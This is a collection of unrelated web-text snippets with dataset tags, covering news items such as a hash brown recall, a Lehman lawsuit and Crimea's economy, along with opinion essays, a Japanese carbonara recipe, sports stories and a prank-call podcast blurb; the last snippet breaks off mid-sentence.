This posh new pet accessory encrusted with 1,000 crystals is set to become the latest ''must have'' item on the wish list of the person who has everything. The cat flap surround, costing more than £1,000, will make any pampered pet feel king of his castle Credit : MASONS NEWS SERVICE	{ "pile_set_name": "OpenWebText2" }
Advertisement Frozen hash browns recalled because they might contain chopped up golf balls Yes, chopped up golf balls Share Shares Copy Link Copy Boxes of hash browns sold in nine states and Washington, D.C. have been recalled because they may contain an ingredient that shouldn't be anywhere near your breakfast: pieces of golf balls. On Friday, McCain Foods USA Inc. announced it was voluntarily recalling its two-pound bags of frozen hash browns because of the odd extra ingredient.In a statement posted by the Food and Drug Administration, the company said the golf balls "may have been harvested with potatoes used to make this product." It's unclear exactly how golf balls could have been harvested alongside potatoes, which is a pretty unusual situation on a farm. Luckily, there have been no reports of injuries associated with eating the hash browns, but the golf balls could pose a choking hazard. The hash-brown bags were manufactured on January 19, 2017 and have a production code date of B170119. They were sold under the brand Roundy's at Marianos, Metro Market, and Pick 'n Save supermarkets in Illinois and Wisconsin. They were also sold under the Harris Teeter store brand in North Carolina, South Carolina, Virginia, Delaware, Florida, Georgia, Maryland, and Washington, D.C.If you have purchased the below products, the company urges you to not consume them, and either throw them away or return them to where you bought them. If you have questions about the recall, you can call McCain Foods at 630- 857-4533.Roundy's Brand, 2 lb. Bag of Frozen Southern Style Hash Browns (UPC 001115055019)Harris Teeter Brand, 2 lb. Bag of Frozen Southern Style Hash Browns (UPC 007203649020)	{ "pile_set_name": "OpenWebText2" }
This item has been removed from the community because it violates Steam Community & Content Guidelines. It is only visible to you. If you believe your item has been removed by mistake, please contact Steam Support This item is incompatible with EXAPUNKS. Please see the instructions page for reasons why this item might not work within EXAPUNKS. Current visibility: Hidden This item will only be visible to you, admins, and anyone marked as a creator. Current visibility: Friends-only This item will only be visible in searches to you, your friends, and admins. Not enough ratings Moss's Bookshelves and Other Easter Eggs By isaac.wass This guide lists all known non-achievement easter eggs. (If you find an easter egg not included in this guide, let me know so I can add it.) 1 Award Award Favorite Favorited Unfavorite Share This item has been added to your Favorites Created by isaac.wass In-Game EXAPUNKS Posted Updated 23 Oct, 2019 @ 11:06pm 30 Aug @ 2:45pm 676 Unique Visitors 13 Current Favorites Guide Index Overview Moss's Room Moss's Desktop TRASH WORLD NEWS Main Campaign, Part 1 Main Campaign, Part 2 Bonus Campaign Comments	{ "pile_set_name": "OpenWebText2" }
How One Food Blogger Caused a Firestorm For Texas Parks and Wildlife By Elizabeth Trovall Email Tweet Photo courtesy of Ryan Adams The Texas Parks and Wildlife Department has been receiving hate mail from around the country thanks to the gastronomic adventures of an Austin-area food blogger. It all started when the man’s unlikely dinner literally went bump in the night. Ryan Adams was watching Project Runway with his wife when it happened. “All of a sudden there was this loud BAM!” Adams remembers, “And we realized it came from outside.” He walked into his backyard and saw something lying in the grass by his house. “It was very dark,” he says. At first he thought it might be a bat. “It was actually laying right here next to the fig tree,” Adams says, pointing to the location of the animal’s demise. “I came over [and] picked it up. It was just a dove. It didn’t have any sores, any lesions, it was perfectly fine.” That’s when the thought dawned on him. Eat the bird. Photo courtesy of Ryan Adams “I had a lot of friends who are hunters and they are going out and shooting doves at the exact same time,” Adams says. “I thought, ‘Those suckers are doing the hard work, and this one just came to me.'” So Ryan looked up a recipe for grilled quail a la mancha. He cleaned it. Then grilled it. And ate it. “It was fantastic,” he remembers. And in a crucial twist, he then blogged about it. Adams is a prolific food blogger, with a focus on cooking (and lusciously photographing) nose-to-tail eating. The headline for his post? ‘When Life Gives You Wild Game…’ That was followed up with a post by Adams on the popular social sharing site Reddit. “I thought this was kind of an off-the-wall thing, so it was something I wanted to share,” Adams says. The Reddit post got about 2,000 hits. Then he started getting calls from a couple of reporters. One of those reporters mentioned that, by eating a found dove, Adams had actually broken Texas law. This came as a surprise to him. But, the thing is, it’s true. “It is illegal to possess wildlife resources, and the white-winged dove are a migratory game bird on the wildlife resource list,” says Steve Lightfoot, a spokesperson for the Texas Parks and Wildlife Department. Photo courtesy of Ryan Adams He says Adams technically did break the law. If a bird flies into your house and dies, you shouldn’t eat it. The law is in place for a couple reasons. “A lot of those regulations were born out the need to restrict commercial harvest,” Adams says. There’s also the matter of people getting sick from eating diseased animals. Lightfoot recommends that Texans restrain themselves from picking up dead creatures found on the ground, not matter how appetizing they appear. “We have had incidents where we are seeing sick dove die off, so that is a concern,” he says “We don’t want people or pets retaining or eating sick birds.” But even though Adams technically broke the law, Texas Parks and Wildlife let him off with a warning. Lightfoot says there was no formal investigation, and he contacted Parks and Wildlife first. “We wanted to reassure him that this was one of the rare instances of ignorance of the law and we gave him a warning,” Lightfoot says, “And we believe everything is good.” Well, not quite. One of the reports by a Dallas TV station about the incident said that there was an ongoing investigation about his culinary adventure. It included the headline “Dove Dinner lands Texas Man in Hot Water with Law.” Adams says that once that reporter posted his story, things got crazy. It went viral. “It just got bigger, and bigger, and bigger,” he remembers. Adams got thousands of hits on his blog. And he started receiving letters of support from around the country. Some a little too enthusiastic. “At one point somebody told me if a bald eagle flew into the house I should eat that,” he says. Related Topics What is the Texas Parks and Wildlife Department? Adams also posted on his blog that he was no longer under ‘investigation,’ and that the situation was under control. But that didn’t stop the incorrect story that he was under investigation from popping up seemingly everywhere. The Huffington Post, the Drudge Report, Yahoo! News. They all carried the story based on the Dallas TV report. “This whole mess is being chalked up as a learning moment,” Adams wrote in an update on his blog, “And I’ll ensure that going forward any wild game that comes into my possession will be done in accordance with the law. As a matter of fact I still need to cook a woodcock, and there is lots of time for me to attend a hunters safety course before the season starts. I’m pretty sure they are not native to my area, so don’t expect any “woodcock flew into my house” stories in the upcoming months.” “And that – hopefully – is that,” he finished. But Adams kept getting emails supporting him in his non-existent fight against Parks and Wildlife. He wondered what kind of emails the Department could be getting. So he reached out to a friend who worked there. “She said to me, ‘I know the person that has to deal with all of this and he has forwarded a couple emails to me, and they were fairly … interesting.’” That made him feel even worse. So he decided to apologize to Parks and Wildlife in person for all the ruckus. On a recent morning, Adams surprised staff members at Texas Parks and Wildlife headquarters with a gesture of peace. But it wasn’t a dove. “I brought some donuts for you guys,” Adams told the staff. They were happy to see him and the treats. “Is this what we call locally sourced food?” one staffer asked Adams. “Hope you didn’t leave them downstairs,” another joked. “The game warden just went down there.” Another chimed in. “We only have one question for you now … got any good dove recipes for us?” As they say, ‘No harm, No fowl.’ Elizabeth Trovall is an intern with StateImpact Texas.	{ "pile_set_name": "OpenWebText2" }
People stand next to windows above an exterior sign at the Lehman Brothers headquarters in New York in this September 16, 2008 file photo. REUTERS/Chip East/Files (Reuters) - Lehman Brothers Holdings Inc has filed a lawsuit against Barclays Capital Inc alleging the British bank took control of excess assets in collusion with Lehman executives when it bought its U.S. brokerage business a year ago, court documents show. Lehman filed for bankruptcy on September 15, 2008, in the largest U.S. bankruptcy in history. Its flagship U.S. brokerage business was sold to Barclays less than a week later in a hurriedly assembled deal. Lehman said in September this year that Barclays Capital got an $8.2 billion “windfall profit” due to the fire sale of its business for an undisclosed $5 billion discount off the book value of securities transferred to Barclays. “The windfall to Barclays was not disclosed to the Court, the Lehman Boards or Lehman’s lawyers so as to allow the transfer to Barclays of billions of dollars in excess assets, without consideration, in a manner designed to avoid judicial, corporate and creditor oversight,” Lehman said in a Monday court filing. The charges come after Lehman received approval in June to probe whether Barclays got “too good of a deal” when it bought Lehman’s brokerage business, as the British bank was able to quickly book a $4.2 billion gain on its $1.75 billion purchase. Barclays said at the time that it did not expect the probe to result in any additional claims. In the lawsuit, Lehman requested the court to order Barclays to “disgorge to Lehman any ill-gotten gains it obtained” and pay punitive damages. A Barclays Asia spokesman said in an email that all queries on the lawsuit should be directed to its New York office. Barclays’ New York officials were not immediately available for comment, outside of normal U.S. hours. The case is In re: Lehman Brothers Holdings Inc, U.S. Bankruptcy Court, Southern District of New York, No. 08-13555. (Reporting by Supantha Mukherjee and Ajay Kamalakaran in Bangalore; Editing by Muralikumar Anantharaman)	{ "pile_set_name": "OpenWebText2" }
Piles of Lithium rich salt, Salar de Uyuni, Bolivia. Luca Galuzzi (Lucag), edit by Trialsanderrors [CC BY-SA 2.5], via Wikimedia Commons Guest essay by Eric Worrall Russian skulduggery, riots, political coups – and the lithium rush is just getting started. Russia allegedly meddled in Bolivia’s controversial election By Max de Haldevang November 17, 2019 A Russian state company sent around 10 spin doctors to Bolivia beginning in mid-2019 to help the incumbent president Evo Morales win last month’s allegedly rigged election, according to an investigation by independent Russian publication Proekt. Bolivia has been thrown into chaos in recent weeks amid allegations that Morales, who has been in office since 2006, fixed the election. After weeks of protests, the military “suggested” Morales step down on Nov. 10—he did so hours later. A conservative opposition senator declared herself president two days later, in what Morales and his allies around the world, including Russia, are calling a coup. Rosatom, Russia’s state nuclear energy company, and the Bolivian government have agreed to build a $300 million nuclear complex and are in talks about working to mine Bolivia’s enormous lithium reserves. The company intervened in the election due to fears that defeat for the socialist Morales to a candidate more closely aligned with the United States could damage the lucrative relationship, Proekt reported in the investigation published on Oct. 23. … Read more: https://qz.com/1749788/russia-allegedly-helped-evo-morales-in-bolivian-election/ Renewables are not exactly covering themselves in glory on the geopolitical stage. Cobalt, a vital component of high capacity batteries, is extracted by teams of children working in dangerous mines operated by brutal Congolese warlords. Chinese peasants suffering toxic pollution released by their hideous rare earth mine (rare Earths are used to produce high strength magnets, vital for efficient wind turbines). Now we can add corruption and political instability in South America to the cost of renewables. There are strenuous ongoing efforts to develop less socially damaging battery components. Scientists are working to find a way to replace lithium with sodium. Other scientists are working to replace cobalt with manganese and iron. As far as I know, none of these alternatives are ready for mainstream use. For now, the price of our renewable revolution is toxic waste, child exploitation, bloodshed, revolution and oppression. Share this: Print Email Twitter Facebook Pinterest LinkedIn Reddit Like this: Like Loading...	{ "pile_set_name": "OpenWebText2" }
A (false color) series of images capturing the repeated flaking of red clouds from the GRS in the Spring of 2019. In the earliest image, the flaking is predominant on the east side of the giant red vortex. The flake then breaks off from the GRS, but a new flake starts to detach in the fifth image. Credit: Chris Go The shrinking of the clouds of the Great Red Spot on Jupiter has been well documented with photographic evidence from the last decade. However, researchers said there is no evidence the vortex itself has changed in size or intensity. Philip Marcus, from the University of California, Berkeley, will explain why the pictures from astronomers, both professionals and amateur, are not telling the whole story about the Great Red Spot. His session, The Shedding of Jupiter's Red Flakes Does Not Mean It Is Dying, will take place at the American Physical Society's Division of Fluid Dynamics 72nd Annual Meeting on Nov. 25 at the Washington State Convention Center in Seattle. Marcus said the visible clouds hide the true size and nature of the vortex of the Great Red Spot. In the spring of 2019, observers photographed large red "flakes" being ripped from the familiar red spot, but Marcus said the flaking phenomena is a very natural state of a vortex with cloud coverage and not an indication of the Great Red Spot's death. "I don't think its fortunes were ever bad," Marcus said. "It's more like Mark Twain's comment: The reports about its death have been greatly exaggerated." Marcus discuss how smaller cloud formation bumped into the Great Red Spot, sometimes creating stagnation points, where the velocity abruptly stops, restarts and goes off in different directions. These points indicate where an approaching cloud shattered and created the flakes that were observed by astronomers. "The loss of undigested clouds from the GRS through encounters with stagnation points does not signify the demise of the GRS," he said. "The proximity of the stagnation points to the GRS during May and June does not signify its demise. The creation of little vortices to the east, northeast of the GRS during the spring of 2019 and their subsequent merging with the GRS with some does not signify its demise." Marcus said a secondary circulation, driven by the heating and cooling above and below the vortex, allows the Great Red Spot to continue to exist over the centuries, fighting off decay of its energy from viscosity, turbulence and heat loss. Explore further New model explaining why Jupiter's mysterious Great Red Spot has not disappeared	{ "pile_set_name": "OpenWebText2" }
The adidas brand produces athletic wear for some of the world’s best athletes, and Lids is a top resource for adidas Atlanta Hawks jerseys, training gear, and more. Browse Lids for Atlanta Hawks jackets, polo shirts, T-shirts, and other apparel by adidas, as well as hats from the beloved brand.	{ "pile_set_name": "OpenWebText2" }
Research is a search through the unknown. If you knew the answer, there would be no need to do the research, and until you do the research, you don’t know the answer. Science is a complex social phenomenon, but certainly its history includes repeated episodes of people having ideas, trying experiments to test those ideas, and using the results to inform the next round of ideas.. When an experimental result indicates that one particular idea is not correct, this is neither a failure of the experiment nor of the original idea itself; it’s an advancement of our understanding of the world around us. Recently, particle physics has become the target of a strange line of scientific criticism. Articles like Sabine Hossenfelder’s New York Times op-ed questioning the “uncertain future” of particle physics and Vox’s “The $22 Billion Gamble: Why Some Physicists Aren’t Excited About Building a Bigger Particle Collider” raise the specter of failed scientists. To read these articles, you’d think that unless particle physics comes home with a golden ticket in the form of a new particle, it shouldn’t come home at all. Or at least, it shouldn’t get a new shot at exploring the universe’s subatomic terrain. But the proposal that particle physicists are essentially setting money on fire comes with an insidious underlying message: that science is about the glory of discovery, rather than the joy of learning about the world. Finding out that there are no particles where we had hoped tells us about the distance between human imagination and the real world. It can operate as a motivation to expand our vision of what the real world is like at scales that are totally unintuitive. Not finding something is just as informative as finding something. That’s not to say resources should be infinite or to suggest that community consensus isn’t important. To the contrary, the particle physics community, like the astronomy and planetary science communities, takes the conversation about what our priorities should be so seriously that we have it every half decade or so. Right now, the European particle physics community is in the middle of a “strategy update,” and plans are underway for the U.S. particle physics community to hold the next of its “Snowmass community studies,” which take place approximately every five years. These events are opportunities to take stock of recent developments and to devise a strategy to maximize scientific progress in the field. In fact, we’d wager that they’re exactly what Hossenfelder is asking for when she suggests “it’s time for particle physicists to step back and reflect on the state of the field.” Finding out that there are no particles where we had hoped tells us about the distance between human imagination and the real world. One of the interesting questions that both of these studies will confront is whether or not the field should prioritize construction of a new high-energy particle accelerator. In past decades, many resources have been directed toward the construction and operation of the Large Hadron Collider, a gigantic device whose tunnel spans two countries and whose budget is in the billions of dollars. Given funding constraints, it is entirely appropriate to ask whether it makes sense to prioritize a future particle accelerator at this moment in history. A new collider is likely to have a price tag measured in tens of billions of dollars and would represent a large investment—though not large compared with the scale of other areas of government spending, and the collider looks even less expensive when spread out over decades and shared by many nations. The LHC was designed to reach energies of 14 trillion electron volts, about seven times more than its predecessor, the Tevatron at Fermilab in Chicagoland. There was very strong motivation to explore collisions at these energies; up until the LHC began operations, our understanding of the Standard Model of particle physics, the leading theory describing subatomic particles and their interactions, contained a gaping hole. The theory could only consistently describe the massive fundamental particles that are observed in our experiments if one included the Higgs boson—a particle that had yet to be observed. Self-consistency demanded that either the Higgs or something else providing masses would appear at the energies studied by the LHC. There were a host of competing theories, and only experimental data could hope to judge which one was realized in nature. So we tried it. And because the LHC allowed us to actually observe the Higgs, we now know that the picture in which masses arise from the Higgs is either correct or very close to being correct. The LHC discovered a particle whose interactions with the known particles matches the predictions to within about 10 percent or so. This represents a triumph in our understanding of the fundamental building blocks of nature, one that would have been impossible without both 1) the theoretical projections that defined the characteristics that the Higgs must have to play its role and 2) the experimental design of the accelerator and particle detectors and the analysis of the data that they collected. In order to learn nature’s secrets, theory and experiment must come together. Some people have labeled the LHC a failure because even though it confirmed the Standard Model’s vision for how particles get their masses, it did not offer any concrete hint of any further new particles besides the Higgs. We understand the disappointment. Given the exciting new possibilities opened up by exploring energy levels we’ve never been privy to here on earth, this feeling is easy to relate to. But it is also selling the accomplishments short and fails to appreciate how research works. Theorists come up with fantastical ideas about what could be. Most of them are wrong, because the laws of physics are unchanging and universal. Experimentalists are taking on the task of actually popping open the hood and looking at what’s underneath it all. Sometimes, they may not find anything new. A curious species, we are left to ask more questions. Why did we find this and not that? What should we look for next? What a strange and fascinating universe we live in, and how wonderful to have the opportunity to learn about it.	{ "pile_set_name": "OpenWebText2" }
O Partido Ecologista de “Os Verdes” (PEV) quer ver o estudo da Constituição da República Portuguesa como parte do programa do ensino obrigatório, a partir do 3.º ciclo. O grupo parlamentar apresentou, esta sexta-feira, na Assembleia da República, um projecto de resolução. Além da introdução do estudo da Constituição, o grupo parlamentar quer que uma cópia do documento fundador da República Portuguesa seja disponibilizada em todas as escolas, de forma a ser facilmente consultável por alunos e professores. Sobre a sua inclusão no programa escolar, a recomendação entende apenas que a sua aplicação seja oportuna no 3.º ciclo e no ensino secundário, altura que em consideram que os jovens têm maturidade suficiente e enquadramento intelectual para compreenderem o documento oficial. “Damos inteira liberdade ao Governo para determinar em que disciplina e em que moldes isto seria feito”, afirma Heloísa Apolónia, a líder parlamentar do PEV. ‘Os Verdes’ "já andavam com a intenção e desejo de apresentar esta proposta”, revela Heloísa Apolónia ao PÚBLICO. Conta que numa das deslocações da delegação do partido às escolas, durante um debate com os alunos, quis mostrar um dos artigos da Constituição, porém a escola não dispunha do documento. “Foi uma coisa inesperada. Nunca me passou pela cabeça que uma biblioteca escolar não tivesse um exemplar da Constituição da República Portuguesa.”, afirma. Foi também a sensação de que o conteúdo da Constituição era ignorado ou mal compreendido que originou esta proposta. “Apercebemo-nos que há um desconhecimento, principalmente na camada mais jovem”, explica a deputada do partido que considera que o documento, além de um carácter fundador do país, tem informações “extraordinariamente importantes”. O melhor do Público no email Subscreva gratuitamente as newsletters e receba o melhor da actualidade e os trabalhos mais profundos do Público. Subscrever × No entanto, “Os Verdes” garantem que, com esta proposta, não pretendem que os alunos decorem todos os artigos dispostos, mas que tenham um conhecimento generalizado do conteúdo e que, quando tiverem curiosidade, possam ter acesso ao documento e facilmente manuseá-lo. Esta seria também a forma de contornar alguns mal-entendidos que se geram sobre direitos e deveres constitucionais. "Acho que se a generalidade dos cidadãos conhecesse o seu conteúdo perceberia, por exemplo, que quando vai votar nas eleições legislativas não está a votar para o Governo mas para a Assembleia da República. Esta desinformação poderia ser corrigida pelo conhecimento dos conteúdos da Constituição”, reitera a deputada. “Gostaríamos que resultasse um maior conhecimento sobre a Constituição por parte dos cidadãos. É o conhecimento dos nossos direitos que nos permite melhor preservá-los”, conclui Heloísa Apolónia, defendendo que a consciência e conhecimento são “uma forma mais vivida de nos agarrarmos aos nossos direitos e às nossas liberdades”.	{ "pile_set_name": "OpenWebText2" }
「カルボナーラのレシピを記すと、カルボナーラ警察が来る」なんて言われるほど、簡単なようで奥が深いカルボナーラ。本場では生クリームを使わない、ベーコンじゃなくてパンチェッタ(豚バラ肉の塩漬け)やグアンチャーレ(豚の頬肉の塩漬け)を、などの論争がありますが、今回記すのはそんな論争を横目に見る意識低い系とでもいいましょうか、そんなカルボナーラのレシピでございます。むしろカルボナーラと言っていのかという点にカルボナーラ警察がやって来そうですが、意識低い系を名乗っておくことで見逃してもらおうという魂胆が見え隠れしつつ、いってみましょう！ anond.hatelabo.jp カルボナーラについて記憶に新しい言及。とても有益なことが書かれています。ぜひ参考に。創味シャンタン・味覇で作る意識低い系カルボナーラのレシピ材料・パスタ 1人前(100g程度) ・創味シャンタンor味覇小さじ1 ・卵黄 2個・粉チーズ一掴みふぁっさー・黒胡椒たっぷり・茹で汁大さじ1 生クリームはおろか、ベーコンすら使わないという意識の低さ。粉チーズもパルミジャーノ・レッジャーノやペコリーノが美味しいですが、パルメザンチーズでいいです。加えてフライパンすら使いません。使ってもいいです。意識低い系としては全卵を・・・と言いたいところですが、ここは卵黄でいきましょう。じゃあ卵白はどうするかって？創味シャンタンをお湯で割って卵白を入れて、卵スープにすればいいんじゃないかな(意識低い感)。創味シャンタンにも、粉チーズにも塩分があるので注意です。分量は味見しつつ調整してください。パスタはせめてディチェコかバリラを使いたいところ。いやあ意識低い系としての一貫性やいかに。太めの麺がいいですね。作り方 1. パスタを茹でる 2. ボウルに茹で汁と創味シャンタンを入れ、溶かしておく 3. さらに卵黄と粉チーズ、黒胡椒を入れて混ぜておく 4. 茹で上がったパスタを一息おいてからボウルに入れて素早くソースと絡めて完成！ 5. お好みで追い卵黄と追い黒胡椒をどうぞ創味シャンタンと粉チーズをあわせると塩分過多になるので、パスタを茹でる際、塩は無しでいいです。湯で時間は表示時間より少し早いくらい。パスタ熱いままいれて、のろのろ混ぜているとボソボソになっちゃうので注意です。チーズは溶けて、卵黄はとろっと絡まるくらいの温度が最適です。再度ですが味見は必須です。創味シャンタンが塩からいですから、粉チーズの塩分と折り合いをつけるように注意してください。あと蛇足ですが、気付いている人は気付いているかと思います。写真のは粉チーズすら入っていない意識の低さ(笑)。ちょうど粉チーズ切れてたの忘れて作っちゃった。ただの釜玉パスタになりましたがこれはこれでね。意識の低いって言葉、予防線として超便利ね。 www.ikashiya.com 誕生秘話誕生秘話ってほど大仰な話ではないんですけれども。カルボナーラを分解すると、「パスタ＋肉の旨味＋塩味＋チーズの旨味＋卵黄の旨味＋黒胡椒」となります。さてここで創味シャンタンの成分表示を見てみますと、「食塩、畜肉エキス、野菜エキス、動植物油脂、砂糖・・・」と続きます。「あれこれ、ベーコンの旨味と塩味の代わりにならない？」というところから誕生しました。加えて「カルボナーラ」は「炭焼のパスタ」と言われ、起源として黒胡椒の色が炭を連想させるという一説がありますので、「黒胡椒さえ振っときゃカルボナーラだろ！？」という強引な意識の低さにも起因します。「ちゃんと作った」カルボナーラの方が百倍美味しいですが、ベーコンもねえ！パンチェッタもねえ！グアンチャーレってなんだよ！？でも創味シャンタンならある、という方は一度お試しください。保証はしません(逃げ腰)。	{ "pile_set_name": "OpenWebText2" }
Luis Suárez is soccer’s redemption story this holiday season. He is the Uruguayan who began the season barred for biting an opposing player, and was then made to train in isolation after trying to force Liverpool to sell him. But scoring goals changes perceptions. On Sunday, Suárez led Liverpool as its captain in the absence of its regular leader, Steven Gerrard. He scored twice. He helped set up three more goals. He was the catalyst for such a humiliating 5-0 home defeat for Tottenham Hotspur that it fired its coach, André Villas-Boas, less than 24 hours later. Suárez was back in London the next night. The player who divided fan opinion just five months ago was in a tuxedo, honored by the Football Supporters’ Federation — which represents 500,000 soccer fans throughout England and Wales — as its top player of 2013. Whoever writes his script is a fantasist. The award ceremony took place at Emirates Stadium, the home of Tottenham’s closest rival, Arsenal. It had been Arsenal that bid a pound more than the 40 million pounds, or $65 million, required in his contract to try to get him to leave Liverpool in August.	{ "pile_set_name": "OpenWebText2" }
Carlito is calling the customer service line for Jet.com and having the agents describe the adult toys for sale. Sears is closing another round of stores across the nation, we call to check in on their plans, manage to insult women selling large appliances. A car salesman is intimidated when Cross calls in looking to compete on the lot. Making stupid noises and insulting people in a general manner. Apologies for the technical issues with audio quality this episode. Call and Leave Us a Voicemail: (405) 396-6884 Leave a review for this podcast on the iTunes store! Follow Carlito on Twitter @madhouse and get more shows like this at Prank Call Nation! Check out Prank Calls of the Week on YouTube – youtube.com/madhouseradio Filed Under: 2018 • Podcast • Show Archive	{ "pile_set_name": "OpenWebText2" }
some of his impressions with journalists. When Manskiy tried to buy notebooks as souvenirs in a North Korean shop, he was told it wasn’t possible. When he saw shelves full of tomato juice and asked their price, he was told there was no price label yet. In fact, juice, like everything else there, was not for sale. The director concluded that it was not a store, but an exhibition. To some extent the situation resembles Crimea. For Russia, the peninsula turned into a show-piece that is difficult to maintain, but Kremlin will never admit it. Hidden goal of annexation Marking the second anniversary of Crimea’s illegal annexation, Russian media informed about the obstacles of the heavily-reliant on Ukraine peninsula on the way to integration with Russia. According to the reports, Ukraine is causing all the trouble through those who ruled the peninsula before, and those who are putting spokes into wheels now. But what drives Russia to suffer such troubles if it has never been a secret that the peninsula needs huge money allocations which can hardly ever be returned? One of Russian experts Sergey Karaganov explains some of the motives according to a Russian propaganda line. According to him, the annexation “allowed implementing a minimum program – to create conditions for impossibility of further expansion of Western alliances on territories which Moscow considers as vital to its security interests.” The journalist goes on stating that Russia’s annexation of Crimea started the debate about possibility of Ukraine’s accession to NATO and proved that it was ready to make [the West] consider its point of view. Russia never emphasizes the importance of the Black Sea Fleet located in Sevastopol. However, today, around 50-60 thousands of military personnel are based in Crimea and the same amount is expected to come. The ships from the Black Sea Fleet have been already involved in the Syrian conflict. The peninsula is turning into a military base and civilians are needed there only to serve this base. Crimea is to finish the year with a hundred million dollar deficit The self-proclaimed “Prime Minister” of Crimea, Sergei Aksenov, announced that Crimea’s budget will receive significant income on the anniversary of Russia’s illegal annexation of the peninsula. However, when we examine the economical figures during the rest of the year, optimism fades. Russian Budget magazine collected all information about planned revenues, expenditures, and deficits of the subjects of the Russian Federation in 2016. The most significant deficit was expected in Crimea’s Sevastopol. The city planned to spend RUB 24.4 bn (US $360.3 mn), while planned revenues were only RUB 16.9 bn (US $253.7 mn), giving a 30.74% ratio of the deficit to expenditures. Overall in Crimea, the ratio of the deficit to expenditures is 22.26% with the total amount of planed revenues RUB 67.4 bn (US $1 bn) and expenditures RUB 86.7 bn (US $1.3). So the deficit will be RUB 19.3 bn (US $139.6 mn). It is not only after the annexation the region became subsidized. However, the scale has been changed. According to Federal Service of State Statistics in Crimea, in 2015 67% of Crimea’s income came from the center, compared to 50% 2013 when Crimea was part of Ukraine, according to a Radio Svoboda analyst. Statistics on 2015 reveal other interesting figures. For example, the highest monthly unemployment rate has risen from 1.8% in 2013 to 9.5% in 2015. The exports have reduced from US $905 mn to US $79.3 and import from US $1.1 bn to just US $100 mn. See full statistics below. Changes in Crimea’s economic parameters, 2013-2015 Data: Andriy Vvedenskyi, Radio Svoboda. 2013 2015 Subsidies from the center 50% 67% Export of goods and services $905 mn $79.3 mn Import of goods and services $1,100 mn $100 mn Amount of tourists 6 mn 1.5 mn Ratio of unprofitable entreprises 36.4% 38.2% Unemployment 1.8% 9.5% Consumer prices index 99.5% 127.6% No matter how hard Russia tries to hide the difficulties, as long as the peninsula is annexed its economy will not function as before. And here are some reasons why. 1. Ukrainian tourists are not coming After Crimea’s illegal annexation, the flow of tourists dropped significantly to the peninsula that was once the number one summer destination for Ukrainians. Not only did the closed bus and train transport connections with mainland Ukraine make it physically difficult to reach the peninsula, but also the violation of international law, dire human rights situation, and sanctions repelled Ukrainian and foreign tourists. Russia attempted to fill resorts with state employees who bring almost no revenue to the peninsula. Before the annexation the majority of Crimea’s annual tourists – 67.4% – were Ukrainian citizens. This was a trend since the Soviet period. For example, in 1986, the year when Crimea set a record for the greatest number of tourists with 8 mn, 5 mn of them were from Ukraine. Conversely, in 1993 when Crimea had its weakest tourist season with only 2.3 mn visitors, two million of them were Ukrainians. Crimea has thus lost the lion’s share of those who once made up its annual influx of tourists. Trains were the primary means of transport for tourists traveling to Crimea, accounting for 70% of all arrivals. Today it is impossible to travel to Crimea by train. Kremlin-appointed authorities now offer tourists few options for traveling to the peninsula: they may only arrive by plane or ferry. Between these two travel options, current capacities allow for no more than 1.3 mn people annually. Crimea’s tourism industry can be divided into two components. The first is health resorts (i.e., sanatoriums and rehabilitation centers), which took in around 1 mn people and operated year-round. Today they are filled by organized tour groups from Russia, who received special vouchers for vacations in Crimea. The second component includes 4,500 small resorts and rental properties, which together accommodated more than 4 mn tourists and operated only during the summer holiday season. These small facilities relied on payments from independent tourists, and they have especially suffered from the drop in tourism, standing empty for the second year in a row. 2. Crimea can’t provide itself with own food Crimea was never capable of meeting its own demands for food. Before the annexation, most of Crimea’s food products were imported from mainland Ukraine. However, agricultural production in Crimea has been multifaceted. Crimea accounted for 30.3% of Ukraine’s wool production, 23.7% of its grape yield, and 5.7% of its fruit and berry crops. If you consider Ukraine’s land resources as a whole, Crimea’s vineyards account for 32.5% of all vineyards in the country, and only 6% of Ukraine’s gardens and berry farms. Today, the Kherson, Odesa and Mykolayiv oblasts provide these agricultural commodities to the rest of Ukraine. Furthermore, Crimea only produced on average about 2.7% of Ukraine’s total grain harvests. 3. Crimea is extremely dependent on water from Ukraine 63% of the Crimean landscape is covered by dry steppes. This includes districts of Krasnoperekopsk, Rozdolne, Saky, Lenine, Sovietsky, Dzhankoy, Nyzhnehirsk, Bilohirsk and Pervomaisk. The steppe zone also includes the cities of Simferopol (the capital of Crimea), Bakhchisarai, Yevpatoria, Kerch, Stary Krym, Bilohirsk, Dzhankoi and Sevastopol. The peninsula used more than one billion cubic meters of water per year, 85% of which was provided by the North Crimean Canal (the longest in Europe, stretching 405 km from Nova Kakhovka of Kerch). In fact, two thirds of Crimea’s population (1.5 mn) relied on this water from the Dnipro. However, 72% of Dnipro water went to the needs of Crimea’s agricultural sector. Crimea can fully meet its own demands for drinking water without help of the canal. Providing the population with enough drinking water, however, would require the construction of new artesian wells and the modernization of existing ones. 4. There are no European investments Before the EU imposed sanctions on Russia after its illegal annexation of Crimea, half of all Crimea’s Foreign Direct Investment came from Europe and Russia, each accounting for roughly 25% of total investments in the region’s economic development. In 2013, the Autonomous Republic of Crimea’s foreign trade turnover (including both imports and exports) totaled over $2 bn. Trade with Russia accounted for approximately 23% of total, with trade balanced equally between imports and exports. That same year, European countries also accounted for 23% of Crimea’s total foreign trade volume, although Crimea maintained a trade deficit with these partners (i.e., imports exceeded exports) of $ 60 mn. Imports from Russia consisted primarily of raw mineral products and simple equipment, while Crimea imported mostly hi-tech goods from Europe. Funds and organizations from EU, US, Canada, and Turkey had been key donors of technical assistance to Crimea, including funding projects aimed at alleviating economic and social problems. Read also: 7 myths driving Russia’s assault against the Crimean Tatars	{ "pile_set_name": "OpenWebText2" }
Mike Bohn mmajunkie UFC President Dana White appears to have lost faith in former UFC champion Jon Jones following his one-year suspension from the U.S. Anti-Doping Association for a failed drug test prior to UFC 200 earlier this year. It’s been a rough week for Jones (22-1 MMA, 16-1 UFC). He was stripped of the interim UFC light heavyweight title following the announcement of his suspension for taking a banned substance. It was just the latest in what has been a long line of outside-the-cage issues for “Bones,” the most notable of which is a hit-and-run accident which caused him to be stripped of the 205-pound belt after eight successful defense of the gold. Jones, a Union-Endicott graduate, will be clear to compete again in July 2017. But when he makes his eventual return to the octagon, White said on a SiriusXM interview Thursday with Jim Rome that he would prefer for sport’s former pound-for-pound king not headline whichever event he lands on. However, he admits the new UFC owners at WME-IMG may have other plans. Jon Jones stripped of UFC light heavyweight title From the staff: Jon Jones ruined my night DRUG TEST: Jon Jones positive for estrogen blockers “I don’t (trust him), no. I don’t,” White said. “In my opinion, I would never take the risk of headlining a show with Jon Jones again. I’d put him on the card, but I wouldn’t headline with him until he consistently gets back on track. Millions of dollars are spent on this. For a card to fall apart, and how many cards have fallen apart because Jon Jones gets 